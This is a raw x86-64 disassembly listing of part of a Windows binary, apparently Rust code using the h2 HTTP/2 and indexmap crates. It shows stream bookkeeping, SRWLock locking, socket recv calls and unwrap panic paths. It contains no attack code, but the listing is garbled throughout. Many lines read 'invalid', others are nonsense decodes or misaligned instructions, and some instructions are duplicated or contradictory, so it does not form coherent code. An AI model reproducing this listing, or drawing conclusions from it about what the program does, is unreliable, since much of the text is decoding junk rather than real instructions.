mov rax, qword [r14 + 0x28]
sub byte [rax - 0x77], r9b
and al, 0x50
sub byte [rax - 0x77], r9b
and al, 0x50
mov ebp, dword [rsp + 0x328]
mov r12d, dword [rsp + 0x32c]
movsb byte [rdi], byte [rsi]
and al, 0x2c
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x49], cl
test al, 1
add byte [rax], al
mov rcx, qword [rdi + 0x208]
mov rdx, qword [rdi + 0x210]
mov r8d, ebp
call fcn.14006fa80
jo 0x1400f89ab
dec dword [rbx + rcx*4 - 0x79]
lock add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
add byte [rdx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x71], cl
rol byte [rcx], 1
add byte [rax], al
mov r9, qword [rdi + 0x1d0]
mov r10, qword [rdi + 0x1d8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r11d, r11d
pcmpeqd xmm1, xmm1
and rax, r10
movdqu xmm2, xmmword [r9 + rax]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb esi, xmm3
nop word cs:[rax + rax]
test si, si
je 0x1400f8a4d
tzcnt ecx, esi
add rcx, rax
and rcx, r10
ror dword [rax - 0x3f], 1
loope 0x1400f8a26
mov rbx, r9
sub rbx, rcx
mov rcx, qword [rbx - 8]
cmp rdx, rcx
jbe 0x1400fa4d4
lea ebx, [rsi - 1]
and ebx, esi
shl rcx, 4
mov esi, ebx
cmp dword [r8 + rcx + 8], ebp
jne 0x1400f8a10
jmp 0x1400f9042
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f9443
rcl byte [rax], 0x49
add ebx, 0x10
jmp 0x1400f89f1
sbb byte [rax], al
add byte [rbp - 0x75], cl
mov r14, qword [r14 + 0x28]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa432
sbb dword [rax], eax
add byte [rcx], dh
rol byte [rcx + 0xf], 0xb6
or byte [rcx + r9*8 + 0x1972850f], r8b
xor eax, eax
movzx ecx, byte [r14 + 8]
test cl, cl
jne 0x1400fa446
add byte [rax], al
sbb dword [rax], eax
add byte [rcx + 0x4c402474], cl
lea edi, [rdi + 0x1a8]
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x40], esi
lea r15, [rdi + 0x1a8]
add byte [rax], al
test r13d, r13d
je 0x1400f94b0
mov ebx, eax
cmp qword [rdi + 0x1e8], 0
je 0x1400f9968
lea rax, [r14 + 0x10]
mov qword [rsp + 0x38], rax
mov rcx, qword [rdi + 0x208]
mov ecx, dword [rdi + 0x208]
mov rdx, qword [rdi + 0x210]
mov r8d, r13d
call fcn.14006fa80
mov r8, qword [rdi + 0x1f0]
mov rdx, qword [rdi + 0x200]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x71], cl
invalid
rol byte [rcx], 1
add byte [rax], al
add al, byte [rax]
add byte [rbx + rcx*4 - 0x71], cl
invalid
rol byte [rcx], 1
add byte [rax], al
mov r10, qword [rdi + 0x1d8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r11d, r11d
pcmpeqd xmm1, xmm1
and rax, r10
movdqu xmm2, xmmword [r9 + rax]
add dword [rsi + 0xf], esp
outsd dx, dword [rsi]
invalid
pcmpeqb xmm3, xmm2
pmovmskb esi, xmm3
nop dword [rax + rax]
test si, si
je 0x1400f8bad
tzcnt ecx, esi
add rcx, rax
and rcx, r10
invalid
shl rcx, 3
mov rbp, r9
sub rbp, rcx
mov rcx, qword [rbp - 8]
cmp rdx, rcx
jbe 0x1400fa4d4
sbb dword [rax], eax
invalid
lea ebp, [rsi - 1]
and ebp, esi
shl rcx, 4
mov esi, ebp
cmp dword [r8 + rcx + 8], r13d
jne 0x1400f8b70
jmp fcn.1400f96ae
add dword [rbx], ecx
add byte [rax], al
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f9968
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x1400f8b53
sub byte [rax], al
add byte [rax - 0x75], cl
add al, byte [rax + 0xf000178]
test byte [rcx + 0x44000008], cl
movzx eax, byte [rdx + 0x11]
mov rax, qword [rdx + 0x12]
mov byte [rdx + 0x11], 2
cmp r8b, 2
je 0x1400f9c20
mov byte [rsp + 0x220], r8b
mov qword [rsp + 0x221], rax
cmp rax, rcx
jne 0x1400f9c04
invalid
add byte [rax - 0x73], cl
test byte [rcx + riz], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add eax, dword [rax]
add byte [rax - 0x48], cl
or edi, dword [rbx - 0x5e]
invalid
lea rax, [rsp + 0x221]
mov qword [rsp + 0x340], rax
movabs rax, 0x54fe9b8bf0a27b0b
cmp rcx, rax
jne 0x1400fb499
invalid
mov rsi, qword [r14 + 8]
cmp dword [rsi + 0x28], 0
je 0x1400fb4e5
add byte [rax], al
add byte [rax], al
mov rbx, qword [r14 + 0x20]
mov rcx, rbx
call fcn.1400f0630
mov edi, eax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
fcos
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa9ed
xor eax, eax
movzx ecx, byte [rbx + 8]
test cl, cl
leave
jne 0x1400faa00
invalid
add byte [rcx], bh
mov ebx, 0xa8
cmp dword [rbx + 0xa8], edi
jb 0x1400fb4ff
sub byte [rax], al
add byte [rcx + 0xa8bb], cl
add byte [rax + rax*8 - 0x74b7ec8b], al
add eax, 0x11c747
mov dword [rbx + 0xa8], edi
test al, al
jne 0x1400f8cb5
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fad93
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp dword [rsi + 0x28], 0
je 0x1400f8ce3
xor ecx, ecx
cmp edi, dword [rsi + 0x2c]
setne cl
sar dword [rax + 0xff], 0xf
sar dword [r15 + r15*8], 0x74
invalid
sar dword [rax + 0xff], 0xf
sar dword [r15 + r15*8], 0x74
or ecx, dword [rdi]
mov dh, 0xc0
test eax, eax
jne 0x1400fb567
mov dword [rsi + 0x28], 1
mov dword [rsi + 0x2c], edi
jle 0x1400f8d19
mov dword [rsi + 0x30], 0
mov rax, qword [rsi]
test rax, rax
je case.0x1400e8b28.66
invalid
cmovs ecx, dword [rbp - 0x74b7e7b2]
push rsi
or byte [rbx + rcx*4 + 0x46], cl
adc bh, bh
push rax
adc byte [rax - 0x73], cl
lea rax, [0x1401d3af8]
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
lea rax, [0x1401d3af8]
mov qword [rsi], rax
lea rax, [0x140204680]
add byte [rax - 0x77], cl
or byte [rsi + 0xf], r12b
outsd dx, dword [rsi]
test byte [rax + rax*2], ah
add eax, dword [rax]
add bl, dh
movq qword [rsi + 0x10], mm0
jg 0x1400f8d73
invalid
mov ecx, 0x89480010
or byte [rsi + 0xf], r12b
outsd dx, dword [rsi]
test byte [rax + rax*2], ah
add eax, dword [rax]
add bl, dh
movq qword [rsi + 0x10], mm0
jg 0x1400f8d73
invalid
mov dword [rsi + 0x20], edi
mov dword [rsi + 0x24], 0
jmp case.0x1400f8619.2
add byte [rax], al
outsd dx, dword [rsi]
or bl, sil
movq mm1, qword [rax + 0x18]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmmword [rsp + 0x340], xmm0
mov rdi, qword [r14 + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa3b1
xor r15d, r15d
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400fa3c9
mov r12, qword [r14 + 0x28]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
add byte [rax - 0x2f], cl
loopne 0x1400f8df4
test eax, eax
jne 0x1400fa461
add byte [rax], al
xor eax, eax
movzx ecx, byte [r12 + 8]
test cl, cl
jne 0x1400fa476
mov esi, dword [rsp + 0x360]
cmp dword [rdi + 0x118], esi
jae 0x1400f9077
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xb0], xmm0
mov bl, 1
test al, al
jne 0x1400fa139
jmp 0x1400fa126
mov dword [rsp + 0x40], r15d
mov r15d, dword [r8 + rcx + 0xc]
mov qword [rsp + 0x340], r14
mov dword [rsp + 0x348], r15d
mov dword [rsp + 0x34c], ebp
cmp ebp, dword [rdi + 0xa8]
jbe 0x1400f9818
mov sil, 3
jmp 0x1400fa6f8
mov dword [rsp + 0xe8], eax
mov qword [rsp + 0xa0], r12
mov dword [rsp + 0xac], r15d
mov qword [rsp + 0x48], r13
mov dword [rdi + 0x118], esi
lea rdx, [rsp + 0x358]
mov rax, qword [rsp + 0x340]
mov r8, qword [rsp + 0x348]
mov r9, qword [rsp + 0x350]
lea rcx, [rsp + 0xf0]
call qword [rax]
mov eax, dword [rsp + 0x364]
movdqu xmm0, xmmword [rsp + 0xf0]
movdqu xmm1, xmmword [rsp + 0x100]
movdqu xmmword [rsp + 0x228], xmm0
movdqu xmmword [rsp + 0x238], xmm1
mov dword [rsp + 0x224], eax
mov word [rsp + 0x220], 0x201
mov rax, qword [rdi + 0x1e8]
test rax, rax
je 0x1400f92a3
lea rcx, [rdi + 0x160]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0xa0]
add rcx, 0x10
mov qword [rsp + 0x38], rcx
lea rcx, [rdi + 0x1a8]
mov qword [rsp + 0x40], rcx
lea rcx, [rdi + 0xb8]
mov qword [rsp + 0x68], rcx
xor r13d, r13d
mov r15, rax
jmp 0x1400f9167
cmp rax, r15
sbb r13, 0xffffffffffffffff
cmp rax, r15
sbb r15, 0
cmp r13, r15
jae 0x1400f92a3
cmp qword [rdi + 0x200], r13
jbe 0x1400fb223
mov rdx, qword [rdi + 0x1f0]
test rdx, rdx
je 0x1400fb223
mov r8, r13
shl r8, 4
mov ecx, dword [rdx + r8 + 8]
mov r8d, dword [rdx + r8 + 0xc]
mov dword [rsp + 0x70], r8d
mov dword [rsp + 0x74], ecx
cmp qword [rdi + 0x1b8], r8
jbe 0x1400fb21c
mov rdx, qword [rdi + 0x1a8]
test rdx, rdx
je 0x1400fb21c
imul r9, r8, 0x130
cmp dword [rdx + r9], 2
je 0x1400fb21c
add rdx, r9
cmp dword [rdx + 0x114], ecx
jne 0x1400fb21c
cmp dword [rdx + 0x114], esi
jbe 0x1400f9150
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], r8d
mov dword [rsp + 0x7c], ecx
mov dword [rsp + 0xd0], r8d
mov dword [rsp + 0xd4], ecx
cmp dword [rdx], 2
je 0x1400fb23d
cmp dword [rdx + 0x114], ecx
jne 0x1400fb23d
mov eax, dword [rdx + 0x48]
mov dword [rsp + 0xd0], r8d
mov dword [rsp + 0xd4], ecx
cmp dword [rdx], 2
je 0x1400fb290
cmp dword [rdx + 0x114], ecx
jne 0x1400fb290
cmp eax, 0x3b9aca00
setne r12b
lea rcx, [rsp + 0x220]
call fcn.140075470
mov rbx, qword [rsp + 0x68]
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
lea rbp, [rsp + 0x70]
mov r8, rbp
call fcn.1400de7e0
mov rcx, rbx
mov rdx, rbp
mov rbx, qword [rsp + 0x50]
mov r8, rbx
call fcn.1400717b0
mov rcx, rbx
mov rdx, rbp
mov r8d, r12d
call fcn.14006f170
mov rax, qword [rdi + 0x1e8]
jmp 0x1400f9150
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x110], rax
movzx eax, word [rsp + 0x220]
movzx ecx, word [rsp + 0x222]
mov edx, dword [rsp + 0x224]
mov r8, qword [rsp + 0x228]
movups xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x100], xmm0
mov word [rsp + 0xf0], ax
mov word [rsp + 0xf2], cx
mov dword [rsp + 0xf4], edx
mov qword [rsp + 0xf8], r8
lea rsi, [rdi + 0x128]
movzx eax, byte [rdi + 0x128]
cmp rax, 3
mov r13, qword [rsp + 0x48]
mov r15d, dword [rsp + 0xac]
mov r12, qword [rsp + 0xa0]
je 0x1400fa0d3
test rax, rax
je 0x1400fa0d3
cmp eax, 1
jne 0x1400fa0ae
lea rcx, [rdi + 0x148]
mov rax, qword [rdi + 0x130]
mov rdx, qword [rdi + 0x138]
mov r8, qword [rdi + 0x140]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fa0d3
lea rcx, [rsp + 0x460]
call fcn.1400da8e0
test bl, bl
jne 0x1400fa66d
jmp 0x1400fa65a
cmp ebp, dword [rdi + 0xa8]
jbe 0x1400f9b79
mov sil, 3
jmp fcn.1400f9bdc
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xb0], xmm0
mov r13b, 1
mov r14d, 1
lea rbx, [0x140204680]
lea r12, [0x1401d3af8]
mov sil, 1
jmp 0x1400fa6fd
mov ecx, dword [rdi + 0xb8]
add ecx, r12d
mov esi, 3
mov r13, qword [rsp + 0x48]
jo 0x1400f998f
mov dword [rsp + 0x38], eax
mov dword [rdi + 0xb8], ecx
mov qword [rsp + 0x220], 2
mov qword [rsp + 0x240], 0
mov eax, dword [rdi + 0xbc]
lea edx, [rax + r12]
shl rdx, 0x20
add r12d, eax
movabs rcx, 0x300000001
cmovno rcx, rdx
test cl, cl
jne 0x1400f951a
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x60
add al, 0
add bl, ch
xor dword [rcx - 0x35ffb787], eax
invalid
jmp 0x1400f96fc
invalid
jmp 0x1400f9f03
add byte [rbp + rcx*4 - 0x49], cl
invalid
lea rcx, [rsp + 0x340]
call fcn.1400729f0
lea rdx, [rax + 0x50]
lea rcx, [rsp + 0xf0]
call fcn.140076970
movzx esi, byte [rsp + 0xf0]
cmp sil, 3
jne 0x1400f9c9f
cmp byte [rsp + 0xf1], 0
je 0x1400fa082
cmp byte [rdi + 0xac], 0
je 0x1400fa082
lea rbx, [rdi + 0x160]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0xf0]
mov rdx, r13
mov r8d, r12d
xor r9d, r9d
call fcn.140071b30
movzx esi, byte [rsp + 0xf0]
cmp sil, 3
jne 0x1400fa6b8
cmp dword [rsp + 0xf4], 0
je 0x1400f906f
mov qword [rsp + 0x68], rbx
mov r9d, dword [rdi + 0x9c]
mov r8d, dword [rdi + 0x11c]
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov edx, r12d
call fcn.1400772b0
lea rbx, [rsp + 0x460]
mov rcx, rbx
mov rdx, r14
mov r8d, r12d
mov r9, rsi
call fcn.140076c00
lea r12, [rsp + 0xf0]
lea rdx, [rsp + 0x220]
mov r8d, 0x118
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.1400729f0
mov eax, dword [rax + 0x48]
mov dword [rsp + 0xac], eax
lea rcx, [rsp + 0x340]
mov rdx, r13
mov r8, r12
mov r9, rbx
call fcn.140074dd0
movzx esi, byte [rsp + 0x340]
cmp sil, 3
mov qword [rsp + 0xe8], r14
jne 0x1400faa1b
mov eax, dword [rsp + 0x468]
mov dword [rsp + 0xa0], eax
mov r12d, dword [rsp + 0x46c]
mov sil, 3
mov r14d, 1
jmp 0x1400fae0f
lea rcx, [rdi + 0x10]
movzx edx, byte [rdi + 0x1a0]
mov r8d, r13d
call fcn.1400780f0
mov esi, 1
test eax, eax
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x48]
mov eax, ebx
je 0x1400f9f03
add byte [rax], al
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov bl, 1
test al, al
je 0x1400f9da4
test ebp, ebp
je 0x1400f9bb6
lea rax, [rdx + 0x11]
movzx r8d, byte [rsp + 0x228]
mov byte [rax + 8], r8b
mov r8, qword [rsp + 0x220]
mov qword [rax], r8
mov rdx, qword [rdx]
test rdx, rdx
je case.0x1400f8619.2
movabs rax, 0xb416870b7adb7c3b
cmp rcx, rax
jne case.0x1400f8619.2
mov ecx, 3
mov eax, 2
lock cmpxchg qword [rdx + 0x10], rcx
jne case.0x1400f8619.2
mov rax, qword [rdx + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x1400f9c60
test rax, rax
jne case.0x1400f8619.2
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
mov qword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
test rax, rax
je case.0x1400f8619.2
call qword [rax + ioctlsocket]
jmp case.0x1400f8619.2
movzx r13d, byte [rsp + 0xf1]
movzx eax, word [rsp + 0xf2]
mov word [rsp + 0x38], ax
mov r14d, dword [rsp + 0xf4]
mov r12, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0x100]
movdqu xmm0, xmmword [rsp + 0x108]
movdqa xmmword [rsp + 0xb0], xmm0
jmp 0x1400fa6f8
pop r8
xor r9d, r9d
test r8d, r8d
cmovg r9d, r8d
cmp r9d, r12d
jb 0x1400fac65
test r12d, r12d
je 0x1400f9d32
sub r8d, r12d
jl 0x1400fb519
jo 0x1400fac65
mov dword [rdi + 0x58], r8d
mov r8d, dword [rdi + 0x5c]
sub r8d, r12d
jo 0x1400fac65
mov dword [rdi + 0x5c], r8d
add dword [rdi + 0xa0], r12d
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], ebp
cmp dword [rdx], 2
je 0x1400fb3ae
cmp dword [rdx + 0x114], ebp
jne 0x1400fb3ae
mov r8d, dword [rdx + 0xa0]
xor r9d, r9d
test r8d, r8d
cmovg r9d, r8d
cmp r9d, r12d
jae 0x1400fa776
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], ebp
cmp dword [rdx], 2
je 0x1400fb3ae
cmp dword [rdx + 0x114], ebp
jne 0x1400fb3ae
mov ebp, dword [rdx + 0x114]
mov bl, 1
mov r15d, 3
xor esi, esi
jmp 0x1400fac94
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
ror dword [rax - 0x7d], 0xc1
adc bh, bh
nop
add byte [rax], 0
add byte [rax - 0x75], cl
test byte [rax + riz], ah
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
add dh, byte [rax + rbp + 0x48]
test eax, eax
je 0x1400f9eff
mov rax, qword [rsp + 0x228]
lock dec qword [rax]
jne 0x1400f9eff
mov rcx, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x230]
call fcn.140069a20
mov eax, dword [rsp + 0x38]
mov bl, 3
mov bpl, 1
test al, al
je 0x1400f9f0e
jmp 0x1400f9f21
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa944
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rsp + 0x40], 0
jne 0x1400f9f44
mov rax, qword [0x1402153f0]
mov eax, dword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa814
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bpl, bpl
jne case.0x1400f8619.2
mov byte [r13 + 9], 1
mov dword [r13 + 0xc], esi
lea rax, [0x1401d3af8]
mov qword [r13 + 0x10], rax
lea rax, [0x140204680]
mov qword [r13 + 0x18], rax
movdqa xmm0, xmmword [rsp + 0x70]
movdqu xmmword [r13 + 0x20], xmm0
movq qword [r13 + 0x20], mm0
mov byte [r13 + 8], bl
mov dword [r13], 1
jmp 0x1400fb050
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xb0], xmm0
mov r13b, 1
mov r14d, 1
lea rbx, [0x140204680]
lea r12, [0x1401d3af8]
mov sil, 1
jmp 0x1400fa6f8
mov r8, qword [rdi + 0x130]
test r8, r8
je 0x1400fa0d3
cmp qword [rdi + 0x138], 0
je 0x1400fa0d3
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x110]
mov qword [rsi + 0x20], rax
movzx eax, word [rsp + 0xf0]
movzx ecx, word [rsp + 0xf2]
mov edx, dword [rsp + 0xf4]
mov r8, qword [rsp + 0xf8]
movdqa xmm0, xmmword [rsp + 0x100]
movdqu xmmword [rsi + 0x10], xmm0
mov word [rsi], ax
mov word [rsi + 2], cx
mov dword [rsi + 4], edx
mov qword [rsi + 8], r8
mov bl, 3
cmp byte [rsp + 0xe8], 0
jne 0x1400fa139
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa7e6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test r15b, r15b
jne 0x1400fa15a
invalid
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa7fe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp bl, 3
jne 0x1400fa1df
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x110], rax
movaps xmm0, xmmword [rsp + 0x340]
movaps xmm1, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rsi, qword [r14 + 0x10]
mov rax, qword [rsi]
test rax, rax
je 0x1400fa1b3
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x110]
mov qword [rsi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0xf0]
movdqa xmm1, xmmword [rsp + 0x100]
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
jmp case.0x1400f8619.2
mov byte [r13 + 9], 1
mov dword [r13 + 0xc], 1
lea rax, [0x1401d3af8]
mov qword [r13 + 0x10], rax
lea rax, [0x140204680]
mov qword [r13 + 0x18], rax
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [r13 + 0x20], xmm0
mov byte [r13 + 8], bl
mov dword [r13], 1
lea rcx, [rsp + 0x358]
mov rax, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fb050
call fcn.1401666c0
xor al, 1
mov dword [rsp + 0x40], eax
movzx eax, byte [rdi + 8]
test al, al
je 0x1400f8677
mov qword [rsp + 0xf0], rdi
mov eax, dword [rsp + 0x40]
mov byte [rsp + 0xf8], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa40b
call fcn.1401666c0
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 8]
test al, al
je case.0x1400e6090.93
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xf8], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa40b
call fcn.1401666c0
mov r15d, eax
xor r15b, 1
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 8]
test al, al
je 0x1400f896e
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xf8], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa40b
call fcn.1401666c0
mov r15d, eax
xor r15b, 1
movzx eax, byte [rdi + 8]
test al, al
je 0x1400f8d94
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xf8], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa40b
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c98]
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
xor al, 1
movzx ecx, byte [r14 + 8]
test cl, cl
je 0x1400f8ad4
mov qword [rsp + 0xf0], r14
mov byte [rsp + 0xf8], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa9c6
call fcn.1401666c0
xor al, 1
movzx ecx, byte [r12 + 8]
test cl, cl
je 0x1400f8dc4
mov qword [rsp + 0xf0], r12
mov byte [rsp + 0xf8], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa9c6
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa82a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp sil, 3
je 0x1400fa731
mov rax, qword [rsp + 0x48]
mov byte [rax + 9], r15b
mov word [rax + 0xa], r14w
mov dword [rax + 0xc], ebp
mov dword [rax + 0x10], r13d
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rax + 0x14], xmm0
movdqu xmm0, xmmword [rsp + 0xbc]
movdqu xmmword [rax + 0x20], xmm0
mov byte [rax + 8], sil
jmp 0x1400fa76b
movzx r13d, byte [rsp + 0xf1]
movzx eax, word [rsp + 0xf2]
mov word [rsp + 0x38], ax
mov r14d, dword [rsp + 0xf4]
mov rbx, qword [rsp + 0x100]
movdqu xmm0, xmmword [rsp + 0x108]
movdqa xmmword [rsp + 0xb0], xmm0
mov r12, qword [rsp + 0xf8]
mov r15d, dword [rsp + 0x40]
lea rcx, [rsp + 0x220]
call fcn.1400da8e0
test r15b, r15b
jne 0x1400fa722
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa840
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp sil, 3
jne 0x1400fa73b
mov r13, qword [rsp + 0x48]
jmp case.0x1400f8619.2
mov rax, qword [rsp + 0x48]
mov byte [rax + 9], r13b
movzx ecx, word [rsp + 0x38]
mov word [rax + 0xa], cx
mov dword [rax + 0xc], r14d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [rax + 0x20], xmm0
mov byte [rax + 8], sil
mov dword [rax], 1
jmp 0x1400fb050
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], ebp
cmp dword [rdx], 2
je 0x1400fb5fa
cmp dword [rdx + 0x114], ebp
jne 0x1400fb5fa
mov r8, qword [rdx + 0x30]
cmp r8, 1
je 0x1400faaa4
cmp r8d, 2
jne 0x1400faacf
mov rax, qword [rdx + 0x38]
sub rax, r12
jb 0x1400faaa9
mov qword [rdx + 0x38], rax
mov r11, qword [rdi + 0x1a8]
mov rcx, qword [rdi + 0x1b8]
jmp 0x1400faacf
call fcn.1401666c0
test al, al
jne 0x1400fa139
mov byte [r12 + 8], 1
jmp 0x1400fa139
call fcn.1401666c0
test al, al
jne 0x1400fa15a
mov byte [rdi + 8], 1
jmp 0x1400fa15a
call fcn.1401666c0
test al, al
jne 0x1400f9f44
mov byte [rdi + 8], 1
jmp 0x1400f9f44
call fcn.1401666c0
test al, al
jne 0x1400fa66d
mov byte [rdi + 8], 1
jmp 0x1400fa66d
call fcn.1401666c0
test al, al
jne 0x1400fa722
mov byte [rdi + 8], 1
jmp 0x1400fa722
mov qword [rsp + 0x220], r15
mov qword [rsp + 0x228], rbx
mov dword [rsp + 0x230], ebp
mov r14, qword [rsp + 0x38]
mov qword [rsp + 0x238], r14
cmp byte [rsp + 0xa0], 0
mov ebx, dword [rsp + 0x40]
jne 0x1400fa8c8
mov bpl, 1
call fcn.1401666c0
test al, al
jne 0x1400f9f21
mov byte [r14 + 8], 1
jmp 0x1400f9f21
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c78]
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
xor al, 1
movzx ecx, byte [rbx + 8]
test cl, cl
je 0x1400f8c8c
mov qword [rsp + 0xf0], rbx
mov byte [rsp + 0xf8], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400fa40b
mov r12, rbx
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fb1d0
xor ecx, ecx
movzx eax, byte [rbx + 8]
test al, al
jne 0x1400fb1e6
test r12, r12
je 0x1400faacf
mov dword [rsp + 0x58], r15d
